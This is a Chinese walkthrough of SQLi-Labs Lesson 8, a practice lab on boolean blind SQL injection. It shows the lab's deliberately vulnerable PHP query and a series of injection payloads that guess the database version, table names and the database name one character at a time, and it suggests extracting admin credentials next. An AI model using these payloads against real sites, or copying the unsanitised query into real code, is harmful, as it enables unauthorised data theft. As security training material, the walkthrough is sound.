SQLi Labs Lesson8

Lesson-8 GET - Blind Boolian Based - Single Quotes


首先进入欢迎界面。


构造 ?id=1 ,结果如图所示。


构造 ?id=0 ,结果如图所示。


发现本节是没有错误回显的。本节要学习盲注。


经过多次尝试,发现:

构造 ?id=1'  ,结果如图所示。


即没有显示You are in。猜测可能因为手动闭合了单引号,而显示了错误。


而构造 ?id=1' --+ ,结果如图所示。


查看后台源代码。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
  	echo '';	
  	echo 'You are in...........';
  	echo "
"; echo "
"; } else { echo ''; //echo 'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo "
"; echo ''; }

与猜测一致。


下面进行盲注。

构造 ?id=1' and 1=1 --+ ,结果如图所示。


构造 ?id=1' and 1=2 --+,结果如图所示。


于是,我们可以利用 更改SQL语句中的 and条件来获得我们想要的到的信息。


构造 ?id=1' and substring(@@version,1,1)=4 --+ ,结果如图所示。


构造 ?id=1' and substring(@@version,1,1)=5 --+ ,结果如图所示。


可以得到MySQL数据库的版本为5,而不是四。


构造 ?id=1' union select 1 from emails --+ ,结果如图所示。

尝试多次后发现,当URL 为 ?id=1' union select 1 , 2 , 3 from emails --+ 时,返回You are in .......

可以得到,存在名为emails的表。


构造 ?id=1' union select 1, 2 ,id from emails --+ , 结果返回 You are in .......

说明表emails中存在 一字段 名叫id。


构造 ?id=1' and ascii (substring((select database()) ,1,1)) = 115 --+ , 结果返回 You are in .......

说明当前数据库名的第一个字符为小写的s。

可以依次猜解除当前数据库名的其他字符,最终获得当前数据库名。


再进一步,可以猜解测名为admin的表,是否存在。猜解username,passwod具体的值为多少。


你可能感兴趣的:(SQLi)